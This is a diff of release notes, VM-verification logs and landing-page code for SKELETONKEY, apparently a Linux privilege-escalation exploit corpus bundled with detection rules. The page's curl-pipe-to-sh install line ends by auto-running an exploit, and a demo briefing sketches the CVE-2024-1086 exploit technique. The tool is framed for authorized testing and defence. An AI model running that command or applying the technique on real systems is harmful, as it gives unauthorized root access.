**`core/host.c` shared host-fingerprint refactor**
|
||||
|
||||
One probe of kernel / arch / distro / userns gates / apparmor /
|
||||
selinux / lockdown / sudo + polkit versions at startup. Every
|
||||
module's `detect()` consumes `ctx->host`. Adds `meltdown_mitigation[]`
|
||||
passthrough so `entrybleed` can distinguish "Not affected" (CPU
|
||||
immune; OK) from "Mitigation: PTI" (KPTI on; vulnerable to
|
||||
EntryBleed) without re-reading sysfs.
|
||||
|
||||
**kernel_range drift detector**
|
||||
|
||||
`tools/refresh-kernel-ranges.py` polls Debian's security tracker and
|
||||
reports drift between the embedded `kernel_patched_from` tables and
|
||||
what Debian actually ships. Already used to apply 9 corpus fixes in
|
||||
v0.7.0; 9 more `TOO_TIGHT` findings pending per-commit verification.
|
||||
|
||||
**Marketing-grade landing page**
|
||||
|
||||
[karazajac.github.io/SKELETONKEY](https://karazajac.github.io/SKELETONKEY/)
|
||||
— animated hero, `--explain` showcase with line-by-line typed terminal,
|
||||
bento-grid features, KEV / verification stat chips. New Open Graph
|
||||
card renders correctly on Twitter/LinkedIn/Slack/Discord.
|
||||
|
||||
### Real findings from the verifier
|
||||
|
||||
A handful of cases that show the project's "verified-vs-claimed bar"
|
||||
thesis paying off in real time:
|
||||
|
||||
- **`dirty_pipe` on Ubuntu 22.04 (5.15.0-91-generic)** — version-only
|
||||
check would say VULNERABLE (5.15.0 < 5.15.25 backport in our table),
|
||||
but Ubuntu has silently backported the fix into the -91 patch level.
|
||||
`--active` correctly identified the primitive as blocked → OK. Only
|
||||
an empirical probe can tell.
|
||||
- **`af_packet` on Ubuntu 18.04 (4.15.0-213-generic)** — our target
|
||||
expectation was wrong; 4.15 is post-fix. Caught + corrected by the
|
||||
verifier sweep.
|
||||
- **`sudoedit_editor` on Ubuntu 22.04** — sudo 1.9.9 is the vulnerable
|
||||
version, but the default vagrant user has no sudoers grant to abuse.
|
||||
`detect()` correctly returns PRECOND_FAIL ("vuln version present, no
|
||||
grant to abuse").
|
||||
|
||||
### Coverage by audience
|
||||
|
||||
- **Red team**: `--auto` ranks vulnerable modules by safety + runs the
|
||||
safest, OPSEC notes per exploit, JSON for pipelines, no telemetry.
|
||||
- **Blue team**: 119 detection rules in all 4 SIEM formats, CISA KEV
|
||||
prioritization, MITRE ATT&CK + CWE annotated, `--explain` triage
|
||||
briefings.
|
||||
- **Researchers**: Source is the docs. CVE metadata sourced from
|
||||
federal databases. `--explain` shows the reasoning chain. 22 VM
|
||||
confirmations for trust.
|
||||
- **Sysadmins**: `--scan` works without sudo. Static-musl binary
|
||||
drops on any Linux. JSON output for CI gates.
|
||||
|
||||
### Compatibility
|
||||
|
||||
- Default install: static-musl x86_64 — works on every Linux back to
|
||||
glibc 2.17 (RHEL 7, Debian 9, Ubuntu 14.04+, Alpine, anything).
|
||||
- Also published: dynamic x86_64 (faster, modern glibc only) and
|
||||
dynamic arm64 (Raspberry Pi 4+, Apple Silicon Linux VMs, ARM
|
||||
servers).
|
||||
|
||||
### Authorized testing only
|
||||
|
||||
SKELETONKEY runs real exploits. By using it you assert you have
|
||||
explicit authorization to test the target system. See
|
||||
[`docs/ETHICS.md`](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md).
|
||||
|
||||
### Links
|
||||
|
||||
- [CVE inventory](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md)
|
||||
- [Verification records](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/VERIFICATIONS.jsonl)
|
||||
- [KEV cross-reference](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md)
|
||||
- [Detection playbook](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md)
|
||||
- [Architecture](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md)
|
||||
- [Roadmap](https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md)
|
||||
@@ -0,0 +1,36 @@
|
||||
{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/* SKELETONKEY landing page — interactive bits.
|
||||
* No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
|
||||
/* ============================================================
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
function typeInstall(cb) {
|
||||
if (reduceMotion) {
|
||||
typedEl.textContent = installCmd;
|
||||
if (cursorEl) cursorEl.style.display = 'none';
|
||||
if (cb) cb();
|
||||
return;
|
||||
}
|
||||
let i = 0;
|
||||
function step() {
|
||||
typedEl.textContent = installCmd.slice(0, i);
|
||||
i++;
|
||||
if (i <= installCmd.length) {
|
||||
setTimeout(step, 18 + Math.random() * 22);
|
||||
} else {
|
||||
if (cursorEl) {
|
||||
// keep cursor blinking for 2s, then hide
|
||||
setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
|
||||
}
|
||||
if (cb) cb();
|
||||
}
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 2. copy install command
|
||||
* ============================================================ */
|
||||
window.copyInstall = function (btn) {
|
||||
const text = installCmd;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
}).catch(() => {
|
||||
btn.textContent = '(copy failed)';
|
||||
setTimeout(() => { btn.textContent = 'copy'; }, 1500);
|
||||
});
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* 3. stat count-up animation on view
|
||||
* ============================================================ */
|
||||
function countUp(el) {
|
||||
const target = parseInt(el.dataset.target, 10);
|
||||
if (!target || reduceMotion) { el.textContent = target; return; }
|
||||
const dur = 1100;
|
||||
const start = performance.now();
|
||||
function tick(now) {
|
||||
const t = Math.min((now - start) / dur, 1);
|
||||
// ease-out
|
||||
const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
|
||||
el.textContent = v;
|
||||
if (t < 1) requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 4. --explain terminal: line-by-line reveal
|
||||
* ============================================================ */
|
||||
const explainHTML = [
|
||||
'\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-mod">nf_tables</span> <span class="t-cve">CVE-2024-1086</span>\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">WEAKNESS</span>\n',
|
||||
' <span class="t-cwe">CWE-416</span>\n',
|
||||
' <span class="t-label">MITRE ATT&CK:</span> <span class="t-tech">T1068</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">THREAT INTEL</span>\n',
|
||||
' <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
|
||||
' <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
|
||||
'\n',
|
||||
'<span class="t-header">HOST FINGERPRINT</span>\n',
|
||||
' <span class="t-label">kernel:</span> 5.15.0-43-generic (x86_64)\n',
|
||||
' <span class="t-label">distro:</span> Ubuntu 22.04.5 LTS\n',
|
||||
' <span class="t-label">unpriv userns:</span> ALLOWED\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
|
||||
' -> bug is reachable. The OPSEC section below shows what a successful\n',
|
||||
' exploit() would leave on this host.\n',
|
||||
'\n',
|
||||
'<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
|
||||
' unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
|
||||
' NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
|
||||
' committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
|
||||
' kernels. Cleanup is finisher-gated; no persistent files on success.\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
|
||||
' <span class="t-check">✓</span> auditd <span class="t-check">✓</span> sigma <span class="t-check">✓</span> yara <span class="t-check">✓</span> falco\n',
|
||||
];
|
||||
function playExplain(el) {
|
||||
if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
|
||||
let i = 0;
|
||||
el.innerHTML = '';
|
||||
function step() {
|
||||
if (i >= explainHTML.length) return;
|
||||
el.innerHTML += explainHTML[i];
|
||||
i++;
|
||||
// pause longer on blank lines to feel like real terminal output
|
||||
const next = explainHTML[i - 1];
|
||||
const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
|
||||
setTimeout(step, delay);
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 5. quickstart tabs
|
||||
* ============================================================ */
|
||||
function initTabs() {
|
||||
const tabs = document.querySelectorAll('.tab');
|
||||
const panels = document.querySelectorAll('.tab-panel');
|
||||
tabs.forEach((t) => {
|
||||
t.addEventListener('click', () => {
|
||||
const tab = t.dataset.tab;
|
||||
tabs.forEach((x) => x.classList.toggle('active', x === t));
|
||||
panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 6. scroll-triggered reveal + first-time triggers
|
||||
* ============================================================ */
|
||||
function initReveal() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
|
||||
// also fire one-shot animations immediately
|
||||
countAllStats();
|
||||
const explainEl = document.getElementById('explain-output');
|
||||
if (explainEl) playExplain(explainEl);
|
||||
return;
|
||||
}
|
||||
|
||||
const obs = new IntersectionObserver((entries) => {
|
||||
entries.forEach((e) => {
|
||||
if (e.isIntersecting) {
|
||||
e.target.classList.add('in');
|
||||
// fire one-shot effects when the right section becomes visible
|
||||
if (e.target.id === 'explain') {
|
||||
const out = e.target.querySelector('#explain-output');
|
||||
if (out && !out.dataset.played) {
|
||||
out.dataset.played = '1';
|
||||
playExplain(out);
|
||||
}
|
||||
}
|
||||
obs.unobserve(e.target);
|
||||
}
|
||||
});
|
||||
}, { threshold: 0.15 });
|
||||
|
||||
document.querySelectorAll('.reveal').forEach((el) => obs.observe(el));
|
||||
}
|
||||
|
||||
function countAllStats() {
|
||||
document.querySelectorAll('.stat-chip .num').forEach(countUp);
|
||||
}
|
||||
|
||||
/* fire the stats count-up as soon as the hero shows */
|
||||
function initStatsCountUp() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
countAllStats();
|
||||
return;
|
||||
}
|
||||
const row = document.getElementById('stats-row');
|
||||
if (!row) return;
|
||||
const o = new IntersectionObserver((es) => {
|
||||
if (es[0].isIntersecting) {
|
||||
countAllStats();
|
||||
o.disconnect();
|
||||
}
|
||||
});
|
||||
o.observe(row);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* boot
|
||||
* ============================================================ */
|
||||
document.addEventListener('DOMContentLoaded', () => {
|
||||
typeInstall();
|
||||
initTabs();
|
||||
initReveal();
|
||||
initStatsCountUp();
|
||||
});
|
||||
})();
|
||||
+510
-190
@@ -3,287 +3,607 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Curated Linux LPE corpus with detection rules</title>
|
||||
<meta name="description" content="One curated binary. 28 Linux privilege-escalation exploits from 2016 → 2026. Auditd + sigma + yara + falco rules in the box. One command picks the safest LPE and runs it.">
|
||||
<meta property="og:title" content="SKELETONKEY — Curated Linux LPE corpus">
|
||||
<meta property="og:description" content="28 Linux LPE exploits, 2016 → 2026, with detection rules in the box. One command picks the safest one and runs it.">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta name="twitter:card" content="summary">
|
||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
<meta property="og:image:width" content="1200">
|
||||
<meta property="og:image:height" content="630">
|
||||
<meta name="twitter:card" content="summary_large_image">
|
||||
<meta name="twitter:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
<meta name="theme-color" content="#0a0a14">
|
||||
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;700&family=Space+Grotesk:wght@500;700&display=swap" rel="stylesheet">
|
||||
|
||||
<link rel="stylesheet" href="style.css">
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- gradient mesh background, animated, fixed behind content -->
|
||||
<div class="bg-mesh" aria-hidden="true">
|
||||
<div class="mesh-blob mesh-blob-1"></div>
|
||||
<div class="mesh-blob mesh-blob-2"></div>
|
||||
<div class="mesh-blob mesh-blob-3"></div>
|
||||
</div>
|
||||
|
||||
<nav class="nav">
|
||||
<span class="nav-brand">SKELETONKEY</span>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY"
|
||||
aria-label="View on GitHub">
|
||||
<svg height="20" viewBox="0 0 16 16" width="20" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38
|
||||
0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13
|
||||
-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66
|
||||
.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15
|
||||
-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0
|
||||
1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82
|
||||
1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01
|
||||
1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
<span>GitHub</span>
|
||||
</a>
|
||||
<div class="container nav-inner">
|
||||
<a class="nav-brand" href="#">
|
||||
<span class="nav-mark" aria-hidden="true">◆</span>
|
||||
SKELETONKEY
|
||||
</a>
|
||||
<div class="nav-links">
|
||||
<a href="#corpus">Corpus</a>
|
||||
<a href="#explain">--explain</a>
|
||||
<a href="#detection">Detection</a>
|
||||
<a href="#quickstart">Quickstart</a>
|
||||
<a class="nav-github" href="https://github.com/KaraZajac/SKELETONKEY" aria-label="GitHub">
|
||||
<svg height="18" viewBox="0 0 16 16" width="18" fill="currentColor" aria-hidden="true">
|
||||
<path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
<!-- ──────────────── HERO ──────────────── -->
|
||||
<header class="hero">
|
||||
<div class="container">
|
||||
<h1>SKELETONKEY</h1>
|
||||
<p class="tag">
|
||||
One curated binary. <strong>28 Linux LPE exploits</strong> from
|
||||
2016 → 2026. Detection rules in the box.
|
||||
<strong>One command picks the safest one and runs it.</strong>
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.3 — released 2026-05-24
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
|
||||
</p>
|
||||
|
||||
<div class="install-block">
|
||||
<button class="copy" onclick="copyInstall(this)">copy</button>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know</pre>
|
||||
<div class="install-bar">
|
||||
<span class="install-dots" aria-hidden="true">
|
||||
<i></i><i></i><i></i>
|
||||
</span>
|
||||
<span class="install-title">terminal</span>
|
||||
<button class="copy" onclick="copyInstall(this)" aria-label="Copy install command">copy</button>
|
||||
</div>
|
||||
<pre id="install-cmd"><span class="prompt">$</span> <span id="install-typed"></span><span class="cursor" id="install-cursor">▋</span></pre>
|
||||
</div>
|
||||
|
||||
<p class="warn">⚠ Authorized testing only — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md">ETHICS.md</a></p>
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
<div class="cta-row">
|
||||
